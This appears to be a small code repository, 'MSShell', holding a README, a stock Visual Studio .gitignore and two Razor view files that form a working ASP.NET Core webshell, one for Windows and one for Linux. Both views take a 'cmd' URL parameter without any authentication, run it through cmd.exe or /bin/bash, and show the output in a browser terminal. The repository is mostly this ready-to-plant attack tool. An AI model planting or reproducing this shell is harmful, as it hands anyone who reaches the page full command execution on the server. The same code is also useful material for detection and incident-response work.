├── README.md
├── .gitignore
├── WinShell.cshtml
└── Shell.cshtml


/README.md:
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1 | # MSShell
2 | A .Net Core MVC webshell
3 | 
4 | For more information go [here](https://codedharma.com/posts/dotnet-core-webshell/)
5 | 


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/.gitignore:
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  1 | 
  2 | # Ignore Visual Studio temporary files, build results, and
  3 | # files generated by popular Visual Studio add-ons.
  4 | 
  5 | # User-specific files
  6 | *.suo
  7 | *.user
  8 | *.sln.docstates
  9 | 
 10 | # Build results
 11 | 
 12 | [Dd]ebug/
 13 | [Rr]elease/
 14 | x64/
 15 | build/
 16 | [Bb]in/
 17 | [Oo]bj/
 18 | 
 19 | # Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
 20 | !packages/*/build/
 21 | 
 22 | # Enable Views.Packages
 23 | !Views/Packages/*
 24 | !**/Views/Packages/*
 25 | 
 26 | # MSTest test Results
 27 | [Tt]est[Rr]esult*/
 28 | [Bb]uild[Ll]og.*
 29 | 
 30 | *_i.c
 31 | *_p.c
 32 | *.ilk
 33 | *.meta
 34 | *.obj
 35 | *.pch
 36 | *.pdb
 37 | *.pgc
 38 | *.pgd
 39 | *.rsp
 40 | *.sbr
 41 | *.tlb
 42 | *.tli
 43 | *.tlh
 44 | *.tmp
 45 | *.tmp_proj
 46 | *.log
 47 | *.vspscc
 48 | *.vssscc
 49 | .builds
 50 | *.pidb
 51 | *.log
 52 | *.scc
 53 | 
 54 | # Visual C++ cache files
 55 | ipch/
 56 | *.aps
 57 | *.ncb
 58 | *.opensdf
 59 | *.sdf
 60 | *.cachefile
 61 | 
 62 | # Visual Studio profiler
 63 | *.psess
 64 | *.vsp
 65 | *.vspx
 66 | 
 67 | # Guidance Automation Toolkit
 68 | *.gpState
 69 | 
 70 | # ReSharper is a .NET coding add-in
 71 | _ReSharper*/
 72 | *.[Rr]e[Ss]harper
 73 | 
 74 | # TeamCity is a build add-in
 75 | _TeamCity*
 76 | 
 77 | # DotCover is a Code Coverage Tool
 78 | *.dotCover
 79 | 
 80 | # NCrunch
 81 | *.ncrunch*
 82 | .*crunch*.local.xml
 83 | 
 84 | # Installshield output folder
 85 | [Ee]xpress/
 86 | 
 87 | # DocProject is a documentation generator add-in
 88 | DocProject/buildhelp/
 89 | DocProject/Help/*.HxT
 90 | DocProject/Help/*.HxC
 91 | DocProject/Help/*.hhc
 92 | DocProject/Help/*.hhk
 93 | DocProject/Help/*.hhp
 94 | DocProject/Help/Html2
 95 | DocProject/Help/html
 96 | 
 97 | # Click-Once directory
 98 | publish/
 99 | 
100 | # Publish Web Output
101 | *.Publish.xml
102 | 
103 | # NuGet Packages Directory
104 | # Ignore package folder
105 | **/packages/*
106 | 
107 | # Ignore nuget packages
108 | *.nupkg
109 | 
110 | # Build is used as an MSBuild target, so excepting it 
111 | !**/packages/build
112 | 
113 | # Uncomment if needed
114 | !**/packages/repositories.config
115 | 
116 | 
117 | # Windows Azure Build Output
118 | csx
119 | *.build.csdef
120 | 
121 | # Windows Store app package directory
122 | AppPackages/
123 | 
124 | # Others
125 | sql/
126 | *.Cache
127 | ClientBin/
128 | [Ss]tyle[Cc]op.*
129 | ~$*
130 | *~
131 | *.dbmdl
132 | *.[Pp]ublish.xml
133 | *.pfx
134 | *.publishsettings
135 | 
136 | # RIA/Silverlight projects
137 | Generated_Code/
138 | 
139 | # Backup & report files from converting an old project file to a newer
140 | # Visual Studio version. Backup files are not needed, because we have git ;-)
141 | _UpgradeReport_Files/
142 | Backup*/
143 | UpgradeLog*.XML
144 | UpgradeLog*.htm
145 | 
146 | # SQL Server files
147 | App_Data/*.mdf
148 | App_Data/*.ldf
149 | 
150 | 
151 | #LightSwitch generated files
152 | GeneratedArtifacts/
153 | _Pvt_Extensions/
154 | ModelManifest.xml
155 | #
156 | # =========================
157 | # Windows detritus
158 | # =========================
159 | #
160 | # Windows image file caches
161 | Thumbs.db
162 | ehthumbs.db
163 | #
164 | ## Folder config file
165 | Desktop.ini
166 | 
167 | ## Recycle Bin used on file shares
168 | $RECYCLE.BIN/
169 | #
170 | ## Mac desktop service store files
171 | .DS_Store
172 | *.DS_Store
173 | 
174 | 
175 | VS 2015 cache 
176 | .vs/
177 | 
178 | node_modules/
179 | 
180 | 


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/WinShell.cshtml:
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  1 | @using System
  2 | @using System.Diagnostics
  3 | 
  4 | @{ 
  5 |     ViewData["Title"] = "MVC Sh3ll Windows";
  6 |     var result = "";
  7 |     var cmd = Context.Request.Query["cmd"];
  8 |     if (!String.IsNullOrEmpty(cmd)){
  9 |         result = Bash(cmd);
 10 |     }
 11 | 
 12 |     if (String.IsNullOrEmpty(result)){
 13 |         result = "Invalid command or something didn't work";
 14 |     }
 15 | 
 16 | }
 17 | 
 18 | @functions{
 19 |     public static string Bash (string cmd)
 20 |     {
 21 |         var result = "";
 22 |         var escapedArgs = cmd.Replace("\"", "\\\"");
 23 |         var process = new Process()
 24 |         {
 25 |             StartInfo = new ProcessStartInfo
 26 |             {
 27 |                 FileName = "cmd.exe",
 28 |                 Arguments = $"/C \"{escapedArgs}\"",
 29 |                 RedirectStandardOutput = true,
 30 |                 UseShellExecute = false,
 31 |                 CreateNoWindow = true,
 32 |             }
 33 |         };
 34 | 
 35 |         process.Start();
 36 |         result = process.StandardOutput.ReadToEnd();
 37 |         process.WaitForExit();
 38 | 
 39 |         return result;
 40 |     }
 41 | }
 42 | 
 43 | 
 44 | 
 45 | <script
 46 |   src="https://code.jquery.com/jquery-3.2.1.min.js"
 47 |   integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
 48 |   crossorigin="anonymous"></script>
 49 | <script>
 50 | $(function() {
 51 |     var cmdResult = $("#cmdResult");
 52 | 
 53 | 	console.log(cmdResult);
 54 | 
 55 | 	if (cmdResult.text() === "Invalid command or something didn't work"){
 56 | 	    console.log("should change text");
 57 |         cmdResult.css("color", "red");
 58 | 	}
 59 | 	
 60 | 	var term = $("#console");
 61 |     $("#cmd").focus();
 62 | 	term.scrollTop(term.prop("scrollHeight"));
 63 | 	
 64 | 	$.urlParam = function(name){
 65 |         var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href);
 66 |         if (results==null){
 67 |            return null;
 68 |         }
 69 |         else{
 70 |            return decodeURI(results[1]) || 0;
 71 |         }
 72 |     }
 73 | 
 74 | 	
 75 | 	function executeCmd(){
 76 |         var cmd = encodeURIComponent($("#cmd").val());
 77 | 	    var currentCmd = $.urlParam('cmd');
 78 | 	    console.log("should replace: " + currentCmd + " WITH: " + cmd);
 79 | 
 80 | 	    var currentUrl = location.href;
 81 | 
 82 | 	    var paramDelimeter = "";
 83 | 	    if (currentUrl.indexOf("?") < 0){
 84 | 	        paramDelimeter = "?";
 85 | 	    } else {
 86 | 	        paramDelimeter = "&";
 87 | 	    }
 88 |         
 89 | 	    if (currentUrl.indexOf("cmd=") < 0){
 90 |             currentUrl = location.href + paramDelimeter + "cmd=";
 91 | 	    }
 92 | 	
 93 |         var newUrl = currentUrl.replace(/cmd=.*/, "cmd="+cmd);
 94 |         window.location.href = newUrl;
 95 | 
 96 | 	    //console.log(newUrl);
 97 | 	}
 98 | 	
 99 |     $("#submitCommand").click(function(){
100 | 	    executeCmd();
101 | 	})
102 | 
103 | 	$("#cmd").keypress(function (e) {
104 | 	    if (e.which == 13) {
105 | 	        executeCmd();
106 | 	        return false;
107 | 	    }
108 | 	});
109 | 
110 | 	$("#cmd").on("change paste keyup", function(theVal){
111 | 	    var cmd = $("#cmd").val();
112 | 	    $("#cmdInput").text(cmd);
113 | 	});
114 | });
115 | 
116 | </script>
117 | 
118 | 
119 | <h3>@ViewData["Title"].</h3>
120 | <h4>@ViewData["Message"]</h4>
121 | <h4>Output for:> <span style="font-family: monospace; font-weight: normal;">@cmd</span></h4>
122 | 
123 | 
124 | <pre id="console" style="color: #00ff00;background-color: #141414;max-height: 606px;">
125 | C#:>@cmd
126 | 	
127 | <span id="cmdResult">@result</span>
128 | 	
129 | C#:><span id="cmdInput"></span>
130 | </pre>
131 | 
132 | <br />
133 | 
134 | <p>Enter your command below:</p>
135 | <span style="display: inline-flex !important;">
136 |     <input  id="cmd" class="form-control" type="text" style="width: 400px;" /> 
137 | 	<button id="submitCommand" class="btn btn-primary">Send!</button>
138 | </span>
139 | 


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/Shell.cshtml:
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  1 | @using System
  2 | @using System.Diagnostics
  3 | 
  4 | @{
  5 |     ViewData["Title"] = "MVC Sh3ll";
  6 |     var result = "";
  7 |     var cmd = Context.Request.Query["cmd"];
  8 |     if (!String.IsNullOrEmpty(cmd)){
  9 |         result = Bash(cmd);
 10 |     }
 11 | 
 12 |     if (String.IsNullOrEmpty(result)){
 13 |         result = "Invalid command or something didn't work";
 14 |     }
 15 | 
 16 | }
 17 | 
 18 | @functions{
 19 |     public static string Bash (string cmd)
 20 |     {
 21 |         var result = "";
 22 |         var escapedArgs = cmd.Replace("\"", "\\\"");
 23 |         var process = new Process()
 24 |         {
 25 |             StartInfo = new ProcessStartInfo
 26 |             {
 27 |                 FileName = "/bin/bash",
 28 |                 Arguments = $"-c \"{escapedArgs}\"",
 29 |                 RedirectStandardOutput = true,
 30 |                 UseShellExecute = false,
 31 |                 CreateNoWindow = true,
 32 |             }
 33 |         };
 34 | 
 35 |         process.Start();
 36 |         result = process.StandardOutput.ReadToEnd();
 37 |         process.WaitForExit();
 38 | 
 39 |         return result;
 40 |     }
 41 | }
 42 | 
 43 | <script
 44 |   src="https://code.jquery.com/jquery-3.2.1.min.js"
 45 |   integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
 46 |   crossorigin="anonymous"></script>
 47 | <script>
 48 | $(function() {
 49 |     var cmdResult = $("#cmdResult");
 50 | 
 51 | 	console.log(cmdResult);
 52 | 
 53 | 	if (cmdResult.text() === "Invalid command or something didn't work"){
 54 | 	    console.log("should change text");
 55 |         cmdResult.css("color", "red");
 56 | 	}
 57 | 	
 58 | 	var term = $("#console");
 59 |     $("#cmd").focus();
 60 | 	term.scrollTop(term.prop("scrollHeight"));
 61 | 	
 62 | 	$.urlParam = function(name){
 63 |         var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href);
 64 |         if (results==null){
 65 |            return null;
 66 |         }
 67 |         else{
 68 |            return decodeURI(results[1]) || 0;
 69 |         }
 70 |     }
 71 | 
 72 | 	
 73 | 	function executeCmd(){
 74 |         var cmd = encodeURIComponent($("#cmd").val());
 75 | 	    var currentCmd = $.urlParam('cmd');
 76 | 	    console.log("should replace: " + currentCmd + " WITH: " + cmd);
 77 | 
 78 | 	    var currentUrl = location.href;
 79 | 
 80 | 	    var paramDelimeter = "";
 81 | 	    if (currentUrl.indexOf("?") < 0){
 82 | 	        paramDelimeter = "?";
 83 | 	    } else {
 84 | 	        paramDelimeter = "&";
 85 | 	    }
 86 |         
 87 | 	    if (currentUrl.indexOf("cmd=") < 0){
 88 |             currentUrl = location.href + paramDelimeter + "cmd=";
 89 | 	    }
 90 | 	
 91 |         var newUrl = currentUrl.replace(/cmd=.*/, "cmd="+cmd);
 92 |         window.location.href = newUrl;
 93 | 
 94 | 	    //console.log(newUrl);
 95 | 	}
 96 | 	
 97 |     $("#submitCommand").click(function(){
 98 | 	    executeCmd();
 99 | 	})
100 | 
101 | 	$("#cmd").keypress(function (e) {
102 | 	    if (e.which == 13) {
103 | 	        executeCmd();
104 | 	        return false;
105 | 	    }
106 | 	});
107 | 
108 | 	$("#cmd").on("change paste keyup", function(theVal){
109 | 	    var cmd = $("#cmd").val();
110 | 	    $("#cmdInput").text(cmd);
111 | 	});
112 | });
113 | 
114 | </script>
115 | 
116 | 
117 | <h3>@ViewData["Title"].</h3>
118 | <h4>@ViewData["Message"]</h4>
119 | <h4>Output for:> <span style="font-family: monospace; font-weight: normal;">@cmd</span></h4>
120 | 
121 | 
122 | <pre id="console" style="color: #00ff00;background-color: #141414;max-height: 606px;">
123 | C#:>@cmd
124 | 	
125 | <span id="cmdResult">@result</span>
126 | 	
127 | C#:><span id="cmdInput"></span>
128 | </pre>
129 | 
130 | <br />
131 | 
132 | <p>Enter your command below:</p>
133 | <span style="display: inline-flex !important;">
134 |     <input  id="cmd" class="form-control" type="text" style="width: 400px;" /> 
135 | 	<button id="submitCommand" class="btn btn-primary">Send!</button>
136 | </span>
137 | 


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